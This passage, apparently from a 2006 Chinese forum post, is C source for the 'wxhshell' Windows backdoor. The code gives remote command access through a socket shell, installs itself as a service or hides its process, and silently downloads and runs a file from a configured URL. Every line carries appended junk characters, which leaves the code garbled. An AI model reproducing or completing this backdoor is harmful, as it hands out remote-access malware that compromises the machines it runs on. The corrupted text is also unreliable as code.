  dg4"4\c*P  
  // 帮助 +IuV8XT2(  
  case '?': { Ar'}#6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T5z %X:VD(  
    break; 29Kuq;6  
  } ~1S7\e7{  
  // 安装 hEl)BRJ  
  case 'i': { Bo`fy/x#  
    if(Install()) CHdw>/5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q~,E K  
    else Al3Hu-Hf;`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <eO 7b6_  
    break; P;VR[d4e/  
    } X-3L4@T:?  
  // 卸载 1|;WaO1Q  
  case 'r': { u,PrEmy-  
    if(Uninstall()) K *{C:Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `.MM|6  
    else HNY{%D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /Or76kE  
    break; 3 cT  
    } *gMuo6  
  // 显示 wxhshell 所在路径 *7ap[YXZ\w  
  case 'p': { _L_SNjA_  
    char svExeFile[MAX_PATH]; `*KS` z?  
    strcpy(svExeFile,"\n\r"); *B#OLx  
      strcat(svExeFile,ExeFile); ^dZ,Itho  
        send(wsh,svExeFile,strlen(svExeFile),0); 0w< iz;30  
    break; 5iG|C ~  
    } 5G(y  
  // 重启 K.o?g?&<  
  case 'b': { ;y=w :r\A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .NCQiQ  
    if(Boot(REBOOT)) j[iJo 5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K._1sOw'"Y  
    else { Z6K9E=%)c  
    closesocket(wsh); M[<O]p6  
    ExitThread(0); 6@H& S  
    } g\rujxHlH  
    break; Y +HVn0~qz  
    } Qyt6+xL  
  // 关机 rvw1'y  
  case 'd': { DMfC(w.d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $T;3*D90  
    if(Boot(SHUTDOWN)) 0<nKB}9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~+l%}4RZ  
    else { <u4GIi <sm  
    closesocket(wsh); .IF dJ  
    ExitThread(0); A.35WGu&:  
    } eC[g"Ef  
    break; vk{4:^6.TV  
    } -6+HA9zz@C  
  // 获取shell u:g(x+u4:  
  case 's': { [C771~BL>  
    CmdShell(wsh); t:m t9}$d  
    closesocket(wsh); 9 *]Z  
    ExitThread(0); -7=pb#y  
    break; AuO%F YKY  
  } |7|mnOBdDf  
  // 退出 o<V-gS  
  case 'x': { !ae@g q'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `e`4[I  
    CloseIt(wsh); [POy" O  
    break; 1$".7}M4$  
    } I]I5!\\&[  
  // 离开 T,WWQm  
  case 'q': { zYls>fbp,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =1\ 'xz}p?  
    closesocket(wsh); laFkOQI  
    WSACleanup(); +X Y}-  
    exit(1); NA\,o;ka  
    break; ry7(V:ic  
        } $1Xg[>1g5  
  } c-M&cU+=L  
  } b~#rUOXb8?  
55,vmDd  
  // 提示信息 J~c]9t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sjaG%f&h  
} gO$!_!@LM  
  }  t%FS 5  
vW]BOzK  
  return; D_, 2z  
} d]@9kG  
WX?|iw I~  
// shell模块句柄 wHIS}OONz  
int CmdShell(SOCKET sock) cDAO5^  
{ >6rPDzW`Dx  
STARTUPINFO si; !PQ@"L)p  
ZeroMemory(&si,sizeof(si)); cuSXv)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M4DRG%21  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~Q6ufTGhpM  
PROCESS_INFORMATION ProcessInfo; 3J:!8Gmk  
char cmdline[]="cmd"; $(_i>&d<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1miTE4;?  
  return 0; o9Agx{'oV  
} X59~)rH,  
nE/T)[1|  
// 自身启动模式 e|{6^g<ru  
int StartFromService(void) 7v=Nh  
{ { >4exyu6  
typedef struct .m+KXlP  
{ 5HJ6[.HO  
  DWORD ExitStatus; -4V1s;QUZ  
  DWORD PebBaseAddress; Bj\0RmVa1  
  DWORD AffinityMask; &d6'$h:kHb  
  DWORD BasePriority; <0lfkeD  
  ULONG UniqueProcessId; 3RGVH,  
  ULONG InheritedFromUniqueProcessId; VT-&"Jn  
}   PROCESS_BASIC_INFORMATION; Z!hDTT  
H!s &]b  
PROCNTQSIP NtQueryInformationProcess; tq1h1  
RAxA H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kw1PIuz4&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q6DE|qnV  
Z*`CK^^~  
  HANDLE             hProcess; %n{E/06f  
  PROCESS_BASIC_INFORMATION pbi; bBg?x 4bu  
s>_ne0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kgYa0 e5  
  if(NULL == hInst ) return 0; #~ / -n&#  
8$@gAlI^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x{IOn;>R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j!jZJD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K b{  
x?f3XEA_  
  if (!NtQueryInformationProcess) return 0; =Y /  
iF<VbQP=X^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i7Y 96]  
  if(!hProcess) return 0; #d__  
R]L 7?=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 22(0Jb\_  
7GE.>h5  
  CloseHandle(hProcess); ,mjwQ6:Ny  
r;}kw(ukC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;|}6\=(  
if(hProcess==NULL) return 0;  27w]Q_C  
.4.zy]I  
HMODULE hMod;  #*?5  
char procName[255]; [4sbOl5yZ  
unsigned long cbNeeded; }1Q]C"hY  
 [T !#s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A1Rt  
~#@sZ0/<  
  CloseHandle(hProcess); 4l>/6LNMF  
PNc^)|4^Q  
if(strstr(procName,"services")) return 1; // 以服务启动 m {wMzsQ  
obS|wTG~  
  return 0; // 注册表启动 iK'bV<V&7  
} \q%li)  
H@5:x8  
// 主模块 )2u=U9  
int StartWxhshell(LPSTR lpCmdLine) QvjsI;CQ-  
{ U0UOubA  
  SOCKET wsl; =f=MtH?0y  
BOOL val=TRUE; 9C3q4.$D  
  int port=0; k}Ahvlq)  
  struct sockaddr_in door; |.)dOk,o  
f; >DM  
  if(wscfg.ws_autoins) Install(); 7S1 Y)  
rEs,o3h?po  
port=atoi(lpCmdLine); 0|P RCq  
,Q >u N  
if(port<=0) port=wscfg.ws_port; zVJ wmp^  
xH e<TwkI  
  WSADATA data; uRwIxT2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {i`BDOaL  
g:O~1jq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ImyB4welo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DX4uTD  
  door.sin_family = AF_INET; zeNvg/LI^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )^L+iht  
  door.sin_port = htons(port); q"`1cFD  
8X[G)J;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vvFXdHP  
closesocket(wsl); ZKPnvL70  
return 1; +'JM:};1X8  
} )m \}ITf  
ES }@mO  
  if(listen(wsl,2) == INVALID_SOCKET) { W}.;]x%1B  
closesocket(wsl); WF-B=BRZ  
return 1; (/tbe@<  
} ~z%K9YcyU  
  Wxhshell(wsl); IWsB$T  
  WSACleanup(); Cddw\|'3  
`A$yF38!  
return 0; dX,2cK[aG  
lMFj"x\  
} $kvF]|<bu  
vw>O;u.]B  
// 以NT服务方式启动 a~DR$^m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N-4LdC  
{ P ;PS+S9  
DWORD   status = 0; R0, Q`  
  DWORD   specificError = 0xfffffff; 8yA :C  
nW!rM($q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lm o>z'<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T/dchWG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f[!N]*  
  serviceStatus.dwWin32ExitCode     = 0; & tkkn2t  
  serviceStatus.dwServiceSpecificExitCode = 0; Z"] ben  
  serviceStatus.dwCheckPoint       = 0; +#A >[,U  
  serviceStatus.dwWaitHint       = 0; j'#W)dp(  
9)3ok#pQ/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;WO/xA-#  
  if (hServiceStatusHandle==0) return; )CYSU(YTD  
rwv_ RN  
status = GetLastError(); 2.Th29]  
  if (status!=NO_ERROR) tB8XnO_c  
{ K q: +{'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }<9*eAn`  
    serviceStatus.dwCheckPoint       = 0; t8E'd :pE  
    serviceStatus.dwWaitHint       = 0; 6 80i?=z  
    serviceStatus.dwWin32ExitCode     = status; `6?r.;wj  
    serviceStatus.dwServiceSpecificExitCode = specificError; >-c;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '9H7I! L@  
    return; \[% [`m  
  } /}]X3ng  
Qj VP]C}p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @;"HslU\Q  
  serviceStatus.dwCheckPoint       = 0; O}*[@uv/  
  serviceStatus.dwWaitHint       = 0; xT#j-T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %j^[%&pT  
} =Bu d!  
.3Jggp  
// 处理NT服务事件,比如:启动、停止 wk<QYLEk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dNB56E)5`J  
{ JGHQ_AI  
switch(fdwControl) kQRNVdiz  
{ zQV$!%qR  
case SERVICE_CONTROL_STOP: *.8@ hPy  
  serviceStatus.dwWin32ExitCode = 0; /g< T)$2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JLp.bxx  
  serviceStatus.dwCheckPoint   = 0; g0 \c  
  serviceStatus.dwWaitHint     = 0; IwiR2K  
  { B!jT@b{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +D& W!m  
  } EXK~Zf|&Z  
  return; L ![bf5T  
case SERVICE_CONTROL_PAUSE: X48Q{E+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `[0.G0i  
  break; =.#*MYB.l  
case SERVICE_CONTROL_CONTINUE: 9(dbou  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .-k\Q} D  
  break; Ps4spy0Fp  
case SERVICE_CONTROL_INTERROGATE: A84I*d  
  break; ]HgAI$aA,  
}; !rlN|HB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d/k&f5  
} 7N+No.vR.  
uZ&,tH/  
// 标准应用程序主函数 Ia*eb%HG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6! \a8q'z  
{ _S7GkpoK  
~Yv"=  
// 获取操作系统版本 =P!SN]nFeP  
OsIsNt=GetOsVer(); MW=2GhD=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M~t S *  
rQC{"hS1  
  // 从命令行安装 BI?M/pIm  
  if(strpbrk(lpCmdLine,"iI")) Install(); X<9jBj/t  
~M6Q8Y9  
  // 下载执行文件 $cHA_$ `  
if(wscfg.ws_downexe) { 9He>F7J:p'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ExqI=k`Zs  
  WinExec(wscfg.ws_filenam,SW_HIDE); f*04=R?w7>  
} mWZoo/xtT  
E)|fKds  
if(!OsIsNt) { d nWh}!  
// 如果时win9x,隐藏进程并且设置为注册表启动 KGS=(z  
HideProc(); &EYO[~D06  
StartWxhshell(lpCmdLine); ):E4qlB  
} |XzqP +t  
else )s4#)E1  
  if(StartFromService()) ;]34l."85  
  // 以服务方式启动 {wiw]@c8  
  StartServiceCtrlDispatcher(DispatchTable); i=#<0!m  
else ;>{B K,  
  // 普通方式启动 <ppM\$  
  StartWxhshell(lpCmdLine); |Tuk9d4]  
W6_/FkO  
return 0; j4$XAq~W  
}
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只看该作者 1 发表于: 2006-10-10
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